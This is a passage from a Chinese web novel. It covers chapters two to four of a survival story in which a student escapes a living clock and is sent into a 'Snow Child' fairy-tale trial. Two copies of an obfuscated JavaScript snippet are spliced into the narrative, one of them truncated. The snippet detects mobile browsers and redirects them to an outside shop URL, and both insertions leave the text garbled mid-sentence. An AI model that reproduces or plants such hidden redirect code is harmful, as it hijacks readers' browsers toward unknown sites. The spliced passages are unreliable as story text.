《跨年夜全城封禁[无限]》 2. 城市童话集一 或许是在播报声消失的下一秒。 或许时间已经在时亦砜越来越模糊的视野里,走过了一个世纪。 黑色的流体从怪钟开裂的内部倾斜而下,如同翻涌的黑色瀑布,只一瞬间就吞没了整个世界。 时亦砜费劲地睁开眼,只看得到一片虚无的黑暗。 “咚咚。” “……?” “咚咚。” 不知从什么时候起,一阵格外有节奏的、如同皮球落地的声音,坠落在时亦砜的周围。 她下意识地抚向心口。 那里没有传来预想中激烈的震动。 心跳仿佛先是被恐惧冻僵,紧接着,又被某种骤然迸发的、灼热的好奇心——一口吞噬。 “咚咚。” 时亦砜一下子站直了身体。 声音从哪里来? 黑暗中不能视物,她索性闭上眼睛,专心用触感和听觉辨别位置。 声波像一堵看不见的墙压过来,首先接触的是额头上方,掀起她有些炸毛的头发。 左耳比右耳晚了一瞬,积分测算后的方位大致在……右前30度,仰角20度。 时亦砜心下一凛。 那个位置,恰好是她失去视觉前,怪钟的所在地。 她下意识睁开眼睛,抬起头。 “咚咚!” 似乎是察觉到时亦砜注意到了自己的位置,落地声一下子变得激烈起来,一阵风声炸起,直冲时亦砜面门而来! 时亦砜没有犹豫,身体瞬间卧倒,向着声源处的垂直方向就地一滚—— “咔嚓。” 耳边传来清晰的、玻璃破碎的声音。 是时亦砜所在的地面,刚刚被砸中了。 时亦砜一愣。 图书馆楼前的大理石地面,什么时候变成了玻璃? “哗啦!” “哗啦哗啦……” 碎裂的声音由远及近,愈来愈急促,如同脚下这块未知的玻璃,再也无法支撑起她的重量,朝着她这个方向迸裂而来! 时亦砜一脚踩空,瞬间的作用力让她感觉脚掌都要从中间撕裂。飞溅的碎片“滋啦”一声被划破靴子,手腕上传来一阵刺痛,锋利的裂口紧贴着脉搏擦过。 伤口刺激着身体发出警报,时亦砜迅速伏地,单手撑地,另一手急切地摸索着玻璃地面的边缘,朝着相对坚固的角落里爬去。 “咚咚——” “咔嚓!” 时亦砜喘着粗气,“咚咚”声与碎裂声仍在远处徘徊。那只‘皮球’般的怪物,似乎暂时还未发现她的藏身之处。 她不敢起身,咬着牙忍着头晕和手腕处的灼痛的伤口,终于翻滚到一处阴冷的角落。 下一秒,她突然感觉到,有什么冰凉的东西正……硌在自己的手臂上。 时亦砜上手摸索。 触感莫名有些熟悉。 首先是一个弯曲的、挂钩样式的形状,紧接着是一个缺了角的旋钮。触感滑腻,应该是她滴落的血染在了上面。 长在玻璃上的旋钮? 时亦砜继续向外摸索,是一个长条形状的金属边框,咬在一处严丝合缝的滑道间。 是……玻璃窗。 准确的来说,是图书馆六楼大厅靠连廊那一侧的玻璃窗,被寒风浸得阴冷。 时亦砜摸索到把手,轻轻一旋。 冷风扑面而来,灌进鼻腔,激得肺腑生疼。 而时亦砜之所以能认出来,是因为她经常在研究完一个新玩意后,蹲在那一片看云,没有云彩就只是单纯地蹲在那里,冻清醒了再去关上窗户。 时亦砜摸向自己的口袋,冲窗户下方扔出一个硬邦邦的硬币。 “……当啷——” 过了好一阵,下方才传来遥远而模糊的落地声。 时亦砜重新关上了窗户。 所以,她其实早就不在地面上了。 她现在正趴伏在图书馆的玻璃内墙上,被一个诡异的、可能是皮球的东西撵着跑。 时亦砜:“……” 这不合理,大姨可没教她轻功,她为什么还没有掉下去? 时亦砜定了定神,压下不合时宜的好奇心。 理论上讲,从刚刚出现诡异的皮球落地声,到她不断逃跑的这几分钟里,单靠她自己的滚动,怎么着也不会从长椅滚到图书馆门口,还顺势爬上六楼滚上了墙。 不远处,敲击声和破碎声越来越大了,时亦砜几乎能感受到,哪怕已经跑到了最边缘的角落处,自己所在的那块玻璃也跟着震颤。 一旦她的玻璃碎掉,留给她的命运,就和刚刚扔下去的那枚硬币一样。 时亦砜咬了咬牙,猛地站起身。 排除了所有正常选项后,最不可思议的可能被列了出来。 如果不是她跑向了图书馆,那有没有可能——是图书馆自己,在朝她走来? “……” 时亦砜被自己的脑洞无语得嘴角抽搐了一下,但她依然强迫自己往下思考这种情况。 就像一本书重叠的两页,会不会是图书馆自己朝地面贴近,图书馆的出口歪打正着地把她吞了进来,而她自己在不断翻滚中,闯进了六楼的空间。 但是作为时城大学的地标建筑,图书馆有足足九层高,倒下的图书馆,只有一部分能和地面重叠。 时亦砜估算了一下图书馆楼前的平台长度,刚才一脚踏空,就是因为,除了一楼以外的楼层,通通悬在了前往图书馆的楼梯之上。 似乎是终于看到时亦砜站起身,不远处,激动的“皮球”滚动得越发欢快了。 就在它朝着时亦砜的方向直直冲过来时—— “啪嗒。” 恶作剧一般,时亦砜啪地一下又趴回去了。 “咚……咚?” 失去了目标,‘皮球’的滚动一下子变得迟疑、漫无目的起来,犹豫着在距离时亦砜两三米左右的地方停下了。 “哈哈。” 时亦砜在心底无声嘲笑。 果然是这样。 刚才安全翻滚到现在的“据点”时,她就有所猜测。现在看来,这个“皮球”的眼神果然不太好,低于一定高度的物体,对方是看不到的。 “咚咚!” 似乎是意识到,被看中的猎物所捉弄,“皮球”一下子在自己所在的那块玻璃窗上跳跃起来,重重地砸向玻璃。 它甚至暴怒着砸遍了周围的几块玻璃,让六楼这个的角落摇摇欲坠,几乎要彻底坍塌。 可刚刚好好还站在这里的时亦砜,此刻就像人间蒸发了一样,任凭它几乎砸穿了六楼一半的玻璃窗,也还是毫无踪影。 黑暗中,一面承重墙上,时亦砜无声地趴在距离它咫尺之隔的白墙上,再次掏出一个纸碗,轻轻扔到玻璃上。 “皮球”恍若未闻,甚至因为在这个角落找不到时亦砜,一点点滚远了。 是个聋子。 只能“看到”什么人。 时亦砜再次扔出一个瓶盖,精准地抛向“皮球”的位置。 瓶盖发出“锵”地撞击声,从“皮球”的“皮肤”上缓缓滚落了。 没有触觉。 有什么可以高速滚动、力气极大的东西,能“看到”一定高度的物体,还是个感知不到世界的聋子呢? 可按理来说,可以滚动,就意味着“眼睛”也可以随之降低高度,怎么会看不到趴下来的时亦砜呢? 恍惚间,时亦砜突然注意到一个细节。 “皮球”,真的有眼睛这种东西吗? 她一直按照惯性思维思考,认为这是个视力有问题的怪物。 可如果“皮球”压根没有“视力”,寻找她,也不靠视力呢? 回想怪物两次找到她,一次是在时亦砜听声辨位,睁开眼的时候;一次是在刚刚,时亦砜站起身,无意识看向它方位的时候。 时亦砜试探性地再次睁开眼,在一片漆黑中,“看向”不远处的怪物。 果不其然,怪物的滚动声一下子凑近了,直直朝着这面承重墙而来。 时亦砜重新闭上眼睛,摸索着换了个位置。 就在她的不远处,怪物一下一下在时亦砜刚刚的所在地弹跳着,时亦砜能听到金属摩擦在墙面上的剐蹭声,气急败坏般刺耳。 一个需要靠人类的目光确定位置的怪物,其实并不难找。 比如,一口因为图书馆倒下而脱离桎梏,能够在这个空间乱蹦乱跳的……怪钟。 就在时亦砜来到这个一片漆黑的鬼地方前,怪钟告诉她的第一句话就是: “你看到我了。” 现在想来,确认一名“居民”的存在,为什么是“你看到我了”,而不是“我看到你了“? 如此不讲武德。 时亦砜装模作样地摇了摇头,叹了口气。 她记得按照最后那个“应急广播”的提示,在下一个白天到来前,自己已经是第六天的居民了。 没想到,居然还要被介绍自己前往第六天的“房东”,追得到处乱跑。 意识到只要自己不乱看,就暂时安全后,某颗被强压下的好奇心,不死心地重新浮出水面: 倒计时和第六天,意味着什么? 时亦砜猫着腰,一点点挪向怪钟的位置。 第一次出现数字6,是怪钟的数字刚刚产生变化的时候。 某种意义上讲,不出意外,她就是第一个看到“6”的人。 应急播报还说,她是第六日的第一位居民,那么“6”,是不是就是第六日的这个六呢? 按照这个角度思考,眼前的颠倒世界,就是第六日的世界。 是不是听起来还挺不错的?成为第六日的第一个居民,简直就是天选之人。 暂且不论第六日的选拔标准,就算一旦看到6,所有人都会被卷入这个世界,可外面那个相对正常的世界,林老板的五金店刚刚关门,大学图书馆也没有倒下,没有看到数字“6”的那个世界里,是不是还是第七日呢? 播报说,时亦砜只会在这里待一个晚上。 天亮后呢?如果不会到原来那个相对正常的世界,她还会去哪里? 时亦砜已经站在了怪钟面前了。 她仔细听着怪钟滚动的声音,瞅准时机一跳—— 她死死扳住了不断蹦跳着的黑色钟表,趴在它背后。 入手是冰冷的、黏糊糊又滑腻腻的液体,在时亦砜发力攥紧时坚硬异常,在时亦砜松开手想找个合适的位置被怪钟带着滚时,又从时亦砜的掌心滴落。 浆糊还是……非牛顿流体? 时亦砜闻到一股胶水和墨水混杂味道的气息。 所以……组成怪钟的,是某种墨水掺了胶水,组成类似非牛顿流体的样子? 时亦砜来不及想自己会不会被黏住,怪钟重新开始一跳一跳、边旋转边砸玻璃了,她一边晕头转向思考着有了这一遭,明年学院里选拔空军苗子她能不能去试试,一边用尽力量,死死握住了怪钟的边缘。 不管天亮之后她要去哪里,现在的第一目标,就是趁早脱离这个诡异的第六日,从暴力怪钟的重击下逃离。 怪钟并没有感知到自己身上趴了个人,一直找不到猎物,它的力气渐渐变小了,滚动的速度也越来越慢。 找准时机,时亦砜猛地抹了一把黑色的“非牛顿流体”,摸索着盘面的指针的指向,在数字的位置涂抹了一个“7”。 “当——” 久违的,解脱般的一声钟响。 时亦砜隐隐有些不安。 她只是按照自己的推测,根据数字改变时间改变这两件事联系起来,将“回到第七天”和钟表上的数字“7”联系起来,试图篡改钟表上的数字。 可问题是,真的会这么容易地被她解决吗? “滋滋——时城应急广播致全体第六日居民:……” 时亦砜心头一喜,正打算放下心来。 “居民编号120250001时亦砜,篡改居民生存条例,判定为一次违规……” “……?” 有那么一瞬间,时亦砜真希望自己的耳朵出毛病了。 “居民编号120250001时亦砜,篡改居民生存条例,判定为一次违规……” “现宣读时间围城第一条惩罚条例:时间没有过去,往昔无法更改。任何试图篡改时间者、回到过去者,判定一次违规;集满三次违规者,失去生存资格。” “……广播员的脑子,也混了浆糊?” 时亦砜气笑了。 有这种离谱规则,早不说晚不说,非得等她真的违规了才说! “尊敬的居民时亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955398|193113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砜,首先恭喜您通过时钟大人的追捕,奖励将在第一次副本开启前发放。” 副本? 时亦砜摇了摇头。 “我不想参加什么副本。我想回到我原来的世界。” 播音员没有理会她的抗议,继续耐心解释道。 “亲亲您好,咱家的规则是这样的呢,必须得等一个人违规之后,才能宣读条例。不过鉴于您是我们时城第一位居民,这边补偿给您6-5个异能可以吗?” 似乎是听到了时亦砜的愤怒,广播声突然变小了,在她的脑海中小声提醒。 时亦砜:“……什么异能?” 你看,这话又说回来了。 “不错,你的脑子里应该只是非牛顿流体,不至于是浆糊。” “嗯呢,谢谢亲亲~” 场面一度十分“温馨”,居民和客服暂时达成和解。 “那广播员,我的异能是什么?” 广播员温和的机械音响起:“霉运转移术。” 时亦砜:“!” 还有这等好事。 “比如呢,能把我的霉运转移到我讨厌的人身上?” “不是哦,亲亲。您现在打开生存面板,就可以看到详细解释哦~” 时亦砜按着对方的提示,将手指放到右手手腕处,敲击三下。 她已经从怪钟上面跳下来,摸索到一面相对干净的、碎玻璃比较少的墙面蹲下。 一个红色的面板弹了出来,“时城居民个人生存面板”几个大字,在黑漆漆的世界里显得格外两眼。 “时间围城最珍贵的宝藏,是时间本身。 一行简短的欢迎词滑过,时亦砜心下一凛。 她趁机借着面板模糊的光晕,打量了一下周围的环境。 果然如她所料,这里就是图书馆的第六层。 整个第六层被翻转颠倒,玻璃代替地面,天花板成为墙壁。吊诡的是,图书馆内部的一切陈设,墙壁上的挂画、拱学生休憩的沙发和桌凳,都好端端地待在自己原来的位置,没有随着重力而下坠。 不远处,黑漆漆的怪钟比还在图书馆外墙上时,缩小了好几倍,如同一面静止的大鼓,一动不动地任由自己抽象的线条流淌在地上。 面板的大部分区域都是灰色的,显示“暂无权限访问”。时亦砜注意到,在面板的最上方,正循环滚动着一条播报。 “请居民按时参加每日副本,获得在一级奖励生存时长,及火把、探照灯等二级生存物资。” 生存时长。 时亦砜压下鼓噪的心跳。 红色的微光映衬在她毫无波澜的虹膜上,显得她有些过于冷漠,仿佛那个被诡异存在盯上、还被强迫每天参加副本获得生存权限的人,不是她自己。 卷入副本固然不幸。 可是,如果每一天都重复着毫无波澜的生活,如果不能在这个强迫她陷入生存危机的诡异世界的身上,狠狠咬下一口肉—— 那也太没意思了,不是吗? 时亦砜站起身,沉默地揪掉粘在自己衣服上的玻璃碎片。 她从大口袋里掏出一卷纱布,缠上自己的手腕。 平日里拆卸各种设备让她有时会受伤,自行处理这些小伤口已经是家常便饭了。 时亦砜点开“居民异能”,一条关于“霉运转移术”的介绍就跳了上来。 “新手大礼包:C级异能:霉运转移术!次数:1。效果:是不是经常遇到倒霉事?没有关系!霉运转移术致力于帮助可怜的主人解决这个难题:调用时,将随机一件倒霉事转换成另一件可能更小也可能更大的倒霉事,纯看运气~” “冷却时长:一天。” 时亦砜沉默了。 暂且不说这个功能有多鸡肋,将一件倒霉事,转换成另一件倒霉事?转化效果如何,还纯看运气? 她都被诡异怪钟追着跑遍了整个六楼的窗户了,她能有什么好运气! 这到底是谁能想出这么折磨人的异能! 时亦砜敏锐地发现了一个细节。 “这个异能是新手大礼包,应该不能算在我那六五个异能里吧?” 这读起来也太拗口了,为什么不说五六个? 时亦砜摇了摇头。 “亲亲,就是算到里面的哦。” 时亦砜不死心。 “那我别的异能呢?” “亲亲,您没有别的异能了哦,6-5个异能,是六减五个异能,中间的减号,我刚刚没有念出来哦?” …… “你说这话,自己不想笑吗?” 时亦砜缓缓吐出一口气。 黑心广播员。 毁灭吧,赶紧的。 “亲亲您好,咱家的规则就是这样的呢,您看我这边补偿给您一次异能使用次数行吗?您今天可以使用两次霉运转移术。” 时亦砜生无可恋地点了点头。 “好的,一次霉运转移术,正在打入您的账户……” 这回时亦砜学聪明了,她点开自己红彤彤一片的面板,死死盯住异能模块后面的使用次数。 一个弹窗亮起,看到“异能使用次数加一”的大字条例后,时亦砜松了口气。 “叮咚,检测到居民等级为C级,暂时无法开放更多异能次数存储空间,无法存储的一次霉运转移术,自动调用中……” 时亦砜一骨碌爬起来。 现在调用异能? 她同意了吗?! “检测到目前只存在一个霉运事件:错误违反居民规则,异能效果生效中……” “居民时亦砜,违法居民规则,负面效果已清除。当前违规次数归零” 时亦砜看到面板上疯狂滚动的弹窗,迎来了最后一条: “霉运事件转移成功。第六日副本:雪孩子已开启,鉴于您现在唯一的好事,就是您通过了钟表大人的第一次追捕游戏,将获得积分奖励。那么,您将在没有任何奖励的情况下,离开出生点图书馆六楼,去完成您的一号副本……” 一本厚重的书,从离时亦砜最近的书架掉下来,砸在她的手心。 借着面板的红光,时亦砜看清,那是一本装订精致的童话书,上面画着只兔子和纽扣眼睛的雪人。 她闭上眼睛之前,只有一个念头: 傻叉……广播员! 3. 第六日 雪孩子一 靴底深深陷入及膝的积雪中,发出“嘎吱”的闷响。 时亦砜在一片刺骨的寒冷中,一点点睁开眼睛。 视野在一瞬间有些模糊,她努力眨了眨,无边无际的、毫无杂质的雪原反射的强光,像是往眼睛里钉入一根又一根粗针,将眼球刺得有些生疼。 她本能地闭上眼,又强迫自己睁开,反复几次,眼球才在酸涩与刺痛中勉强聚焦。 第一时间在空中划出居民面板,时亦砜在新解锁的“居民任务”模块里,找到了副本的任务要求。 【副本名称:第六日】 【副本难度:B级】 【副本内容:见副本配套书籍《雪孩子》】 【人数要求:单人副本,禁止任何形式外援】 【限时:十二小时。规定时间内完成任务,奖励生存时长十二小时;超时或失败,判定为违规。】 吸引时亦砜目光的,是接下来一条标红加粗的条款。 【当前剩余生命时长:十一小时五十九分】 数字跳动的刹那,时亦砜仿佛听到了一声极其轻微的、来自虚空深处的“嘀嗒”。 那声音并非来自耳膜,而是直接在她颅腔的骨头上敲了一下。 已经被居民条款坑过一次的时亦砜,脊背上窜起一股游蛇般的寒意,扼住咽喉。 表面上看,和因为篡改了一个数字就判定违规的条款相比,眼前这条明码标价“限时完成”的规则,简直堪称“大度”。 只要能在十二小时内完成任务,就能获得这座“时间围城”里最硬的通货——生存时长。 听起来像一场非常公平的赌局。 可如果……完不成呢? 代价,只是违规吗? 【当前剩余生命时长:十一小时五十九分】 这行字本身,就是最残酷的答案。 这意味着,如果时亦砜无法在规定时间内通关,真的没拿到那十二小时的奖励。 那么,当副本倒计时归零的瞬间,也就是她生命自然耗尽、原地等死的时刻。 【【是否有选拔要求:是。】 【选拔内容:居民需在‘钟表先生’的第一次追捕中成功逃脱,即七分钟内未被捕获。成功者,自动获得进入《第六日》副本资格。】 目光下移,还有一行字体稍小、却同样不容忽视的【新增条例】: 【居民不可擅自篡改‘钟表先生’身上的数字,导致其因‘怀疑表生’而消极怠工,造成严重后果。】 时亦砜面不改色地跳过了最后那句充满拟人化怨念的备注,同时将脑海中那个被她篡改数字后、僵在原地、指针乱颤的滑稽钟表形象强行按了下去。 管它会不会记仇。 “滋……时城应急广播,温馨提醒——” 那个温和得如同春风化雨的机械音,毫无预兆地在她耳边响起。 “副本任务进行期间,如有任何违规行为,将视情节严重程度,自动扣除一小时、三小时……” 声音在这里微妙地停顿。 “……甚至,全部的生存时长。” 耳边响起应急广播温和的提醒,播报内容却如同将人推向冰窟。“扣除”两个字的声调,在冰雪中拉长而扭曲。 就在这时,那句曾出现在居民面板登录界面、仿佛格言般的话语,如同幽灵般从记忆的冰窟里浮了上来: “时间围城最珍贵的宝藏,即是时间本身。” 此刻听来,这不再是一句充满希望的箴言。它更像是一道冰冷的诅咒,或者一个残酷的真理,正拽着每一个惊慌失措的居民,无可挽回地滑向名为‘时限’的深渊。 几乎所有的规则、所有的提示、所有的生存界面,都在用最冰冷的方式,嘶吼着同一个事实: 快。 更快。 没有退路,没有怜悯。 哪怕,仅仅只是为了……活下去。 时亦砜迅速探向口袋,精准地摸出了那本从图书馆里“意外”落入她手中的旧书,打开带着冰雪味道的扉页。 “最近,居住在时间围城里的兔子妈妈,遇到了一件烦心事。” “在只身一人冲向火海后,小兔子的好朋友——雪孩子,突然失踪了。” 雪孩子? 这个词像一把钥匙,瞬间拧开了记忆的锁。 这是小学语文课本上,那个名为《雪孩子》的童话故事。 大概意思是,因为担心小兔子在家孤单,外出找萝卜的兔子妈妈,给小兔子堆了一个雪人当好朋友,它们一起度过了快乐的时光。 后来小兔子在烤火的时候,不小心引燃了木屋,雪孩子为了保护小兔子,冲进火海救出对方,自己却因为高温而融化,变成天上的云朵。 “咔哒……噼啪……” 耳边仿佛隐约传来了木柴被点燃、火焰舔舐木料时发出的细微爆裂声,带着一种不祥的温热幻觉。 不知道是不是时亦砜的错觉,自从进入这个新场景以来,随着时间流逝,一种难以言喻的、逐渐加深的虚弱感,正如同冰层下的暗流,无声地侵蚀着她。 它从脚底一点点爬升。每一次将脚从深厚的积雪中拔出,所需的力气仿佛都比上一次多耗费一分。 时亦砜凝视着自己呼出的白气——它们消散的速度,似乎比她记忆中的雪天,快了一丝。 仿佛被某种无形的力量迫不及待地攫取、抹去。 是太冷了吗? 是心理作用吗? 还是……“时间”本身,已经从她的每一次呼吸、每一次心跳中,悄悄抽走些什么呢? 时亦砜紧了紧外衣,强迫自己从鲜红的生存时长上收回目光,重新聚焦于眼前的副本任务。 时亦砜稳住心神,继续阅读下去: “因为思念好朋友,小兔子日夜守着雪孩子留给她的‘礼物’,不吃不喝,日渐憔悴。” “你,作为一位‘从天而降’的大侦探,今日接受了兔子妈妈焦急的委托,决心找到失踪的雪孩子,慰藉小兔子破碎的心。” 在时亦砜上小学的时候,她就好奇过,小兔子该如何接受,雪孩子以那种方式“离开”的事实? 没想到,副本也是直接让她来给突然离开的雪孩子善后了。 时亦砜轻轻吐了口气,将故事书塞进厚厚的口袋。 她转过身,一座灰扑扑的、却在周遭无边雪原中显得格外突兀的木屋,赫然撞入视野。 它静静地伫立在那里,像是被某种无形的、小心翼翼的力量守护着,与整个冰冷世界隔开了一层微弱的暖意。 时亦砜绕着木屋观察了一圈。 兔子一家的房屋很是低矮,从修了又修、新旧木板交织的栅栏就能看出,这处住所已颇有些年岁。但每一处破损都被更坚实的木材仔细加固,窗户缝隙与门沿也严实地塞着打了补丁的厚麻布,竭力将风雪拒之门外。 破败,却透着一股被精心维护的、顽强的生命力。 “咚、咚。” 用手肘顶开带着木刺的栅栏,为了那鲜红的倒计时能加长一会,时亦砜迈着好奇而作死的步伐,艰难地从几乎没及小腿的厚雪中一次次拔腿,终于挪到木屋门前。 “你好,我是时城……咳,我是动物侦探社新来的侦探,受托来了解一下情况。” 时亦砜扯着算不得谎话的谎话。 她注意到自己的掌心下方,门把手处有几道新鲜的、细密的抓痕,痕迹凌乱,像是被什么小型动物在极度惊慌或痛苦中,用爪子反复刨抓所留。 门,从里面被推开了一条窄缝。 一只覆盖着厚实白毛的爪子率先扒住了门缝边缘,紧接着,另一只爪子悄无声息地、试探般地从缝隙中伸出,悬在半空。 露在外面的两只爪子微微颤抖着,似乎支撑得有些勉强。时亦砜目测了一下爪子距地面的高度——大约是一只成年兔子后腿站立、竭力扒着门缝所能达到的高度。 这伸出的爪子……是在模仿人类,表示“握手欢迎”吗? 寒风中,兔子的那只手有些瑟缩,但还是执拗地冲她伸手。 时亦砜震惊了。 不愧是童话故事里的兔子,居然如此懂得人类的礼节。 “你好,是要请我进去吗?这多不好意思。” 话是这么说,时亦砜一点都不害臊地蹲下身子,握了一下对方的爪子,正想进门。 “你别让她进来!” 一个呼哧带喘、近乎破音的尖利吼声,猛地从门缝后炸开! 在时亦砜的靴尖即将踏入屋内的最后一刹,一股远非兔子所能拥有的、蛮横的力量,一把将那只白兔子狠狠扯到一旁,紧接着便以惊人的力道,要将门扉死死关上! 时亦砜才不惯着它。 她几乎在吼声响起的瞬间做出反应,右脚闪电般向前一顶,坚硬的靴头精准卡进即将闭合的门缝。 “嘎吱——” 皮革与粗糙木料剧烈摩擦,发出令人牙酸的声响。 借着这一阻的间隙,她肩膀下沉,手肘运力,向前猛地一撞。 “砰!” 门,被她利落地、甚至带着一丝不容置疑的强硬,彻底推开。 “……你来迟了,大侦探。” 一个低沉、疲惫、带着粗重喘息的声音响起。 时亦砜适应了一下屋内昏暗的光线。狭小的房间没有生火,冷得像冰窖。一只体型几乎与成年人相仿、皮毛厚重却脏乱不堪的巨大兔子,正低垂着头,颓然地坐在屋内唯一一把吱呀作响的破木凳上。 时亦砜注意到这间灰扑扑房间的唯一亮色,是大兔子身旁桌子上的一只钟表。 看到大兔子的头颅有意无意地偏向那个方向,时亦砜也开始有意打量。 那是一枚失去外壳的、看起来格外眼熟的红色旧钟表。 ——居然是林老板在她进入“第六日”副本之前,送给她作为礼物的钟表。 时亦砜的瞳孔几不可察地收缩了一下。她压下心头的惊涛骇浪,面色如常地移开目光,开始冷静地审视屋内的“居民”。 而刚才试图拉她进来的,是那只被甩到门边的白兔子。 它的体型与寻常家兔无异,毛色暗淡,却系着一条洗得发白但干净的围巾,穿着一件略显宽大的碎花旧衣服。 此刻,它正瑟缩在门边的阴影里,一双红宝石般的眼睛,盛满了安静而怯懦的光芒,小心翼翼地打量着时亦砜这位不速之客。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955399|193113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 时亦砜开始检查屋内的陈设。 一个简陋的、半人高的木桌上摆着一颗啃了一半的白菜,几串风干的蘑菇干挂在墙上。 地面的几块木板明显松动,缝隙间渗出一股混杂着泥土与某种植物缓慢腐败的、并不好闻的沉闷气息。 那下面,大概就是储存过冬食物的地窖。 地板旁边放着一个炭火熄灭了的炉子,上面架着一口不大的锅。锅里,冷水浸泡着未能泡发的干瘪蘑菇,一些粉末状的调料如同冻僵的灰尘,凝结在表面,无法化开。 整锅“蘑菇汤”早已冻结成一块灰白相间、死气沉沉的冰坨。 时亦砜甚至产生了一种荒诞的想象:如果兔子真把这锅“汤”灌进肚子,恐怕会从内脏开始冻结,肚子被蘑菇汤凝成的冰块撑得鼓起。 她若有所思地望向那被麻布和木板堵得密不透风的窗户。 明明是保暖措施做的这么严密的房间…… 怎么被兔子一家当成了冰窖? 这两只“兔子”……不冷吗? “妈妈,你告诉她。那只体型庞大的兔子声音沉闷,带着一种不容置疑的、近乎命令的口吻,“就说我的朋友已经找到了,委托可以结束了。” 兔子妈妈的身体几不可察地僵了一下。 它看了看“小兔子”,耳朵却下意识转向了时亦砜的方向,而非大兔子。 瞎说。 时亦砜若有所思地瞅了瞅她,瞅着这只浑身上下的皮毛都开始脏成一簇一簇的兔子,对其说辞一个字也不信。 要是真那么容易找到了,副本干嘛大费周章把她“绑”来当侦探? “沙沙。” 一阵细微的皮毛摩擦声响起,时亦砜眼睁睁看着毛茸茸的兔妈妈猛地起身,露出四条有它自己半个身高长的腿,“嗒嗒”地走到时亦砜身边,蹭了蹭她。 看着那比例惊人、显然是适应极地奔跑的长腿,时亦砜嘴角不受控制地抽动了一下。 兔子一家是……北极兔? 好合理的副本设定啊。 也是,都整天在雪地里过日子了,不是北极兔是什么。 “哦?找到了?” 时亦砜从兔妈妈那有些莫名的亲昵中收回心神,缓缓蹲下身,让自己的视线与坐在凳子上的“大兔子”齐平。她目光平静却极具穿透力,直勾勾地锁定对方那双躲闪的空洞眼睛。 “那正好,” 她语气轻松,甚至带着点“如释重负”。 “把你那位‘已经找到’的朋友领出来,给我瞧瞧吧。我大老远来这一趟,也挺不容易的。” 时亦砜低下头,直勾勾地盯住这个自称是“小兔子“本兔的大兔子,看着它那原本就有些佝偻的脊背,因她的话而绷得更紧;看着对方的重心一点点前倾、隐约透露出不安的坐姿。 “为了赶到这里,我天不亮就起床,跋山涉水,勇攀世界之巅!路上怪兽追着我跑,被我反手撂倒;大雪封路,我举着火把开路,差点冻成冰雕……” 时亦砜一边声情并茂、添油加醋地“诉苦”,一边极其自然地挪向那个早已冰冷的炉子,假意伸手取暖。她呼出的白气在冰冷的空气中凝成一小团一小团的雾,飘飘悠悠,朝着那只‘大兔子’的方向荡去。 时亦砜注意到,对方几乎是下意识地、微不可查地将身体向后缩了缩,那动作轻微得如同被风吹动的草叶,却清晰地流露出一种对那点微弱热气的、近乎本能的排斥与回避。 仿佛那不是温暖,而是灼人的火星或腐蚀性的酸液。 “……你当真吗?” 在时亦砜愈发“慷慨激昂”的演讲中,大兔子越来越沉默,最后只挤出这么干巴巴的一句。 时亦砜脸不红心不跳。 “当真啊,不信你问问家里长辈,他们当年上学,也是我这么个条件。” 大兔子无奈地用爪子扶住额头,脑袋几乎要埋进自己厚重的胸毛里,却依然死死咬着牙关,不肯松口。 伴随着时亦砜的再次靠近,它下意识地将自己蜷缩得更紧,厚实的皮毛层层堆叠,仿佛想筑起一道隔绝人类气息与体温的壁垒。 “这可不行。雪孩子她……怕生。我……” 话音未落。 “咔嚓。” 一声极其轻微、却清晰得令人心悸的脆响,如同冰面裂开第一道缝隙。 在大兔子无法收缩的瞳孔中,时亦砜手中的钥匙尖,挑开了一道缝隙。 没有预想中温热的血肉,也没有蓬松的绒毛。 只有寒意,一点点渗出。 裂口之下,暴露出的是一片晶莹剔透、正在微微沁出细小水珠的、紧实堆积的冰雪。两颗黑漆漆的、毫无光泽的纽扣,深深地嵌在那片冰雪之中,此刻正直勾勾地“瞪”着时亦砜,映出她同样没什么表情的脸庞。 一股混合着松针与陈年冰雪的、干净又孤独的寒气,从缝隙中扑面而来,吹冷了时亦砜额前的碎发。 时亦砜眨了眨眼睛,目光平静地掠过那裂口,最终落在雪人那张因震惊而无法合拢的“嘴巴”上。 “那不如我们先谈谈,小兔子到底去哪里了吧。” “这位,披着兔皮的……” “……雪、人、朋、友。” 4. 第六日 雪孩子二 “当前剩余生存时长:十一小时三十五分钟。” 时亦砜将浸这凉意的宿舍钥匙塞回口袋,目光沉静地投向那个正在笨拙地、近乎刻意地维持“无害雪人”姿态的身影。 不对劲。 太不对劲了。 这雪人简直像是把 “我有问题” 四个大字,用荧光涂料写满了全身。 从过于浮夸、生怕她看不穿的拙劣演技,到比旁边的兔妈妈大出一整圈的异常体型,再到它对低温环境那种近乎本能的、难以掩饰的瑟缩与抗拒。 以及—— 兔子妈妈都不会说人话,兔子孩子,怎么可能会说人话。 这一切的异常环环相扣,不像是伪装,倒像是一场故意摆在她面前的、昭然若揭的破绽展览。 仿佛有个看不见的导演,正急不可耐地拿着提词板,催促她:“快!怀疑它!快来探究那个雪人的秘密!” 可是,时间不等人。 时亦砜又瞥了一眼那行鲜红的倒计时,一边戒备着对方突然暴起的可能,一边开始思考把雪人直接绑到小兔子面前的可能性。 现在,她对于时间围城的一切了解,都仅限于一个追着人跑的怪钟,一个动机可疑的黑心广播员,和这个以童话故事为蓝本的副本。 然而,就在这生存压力与重重谜团之下,一种鼓噪的、对于另一个未知世界的好奇心,正咚咚地在她的胸腔离打鼓。 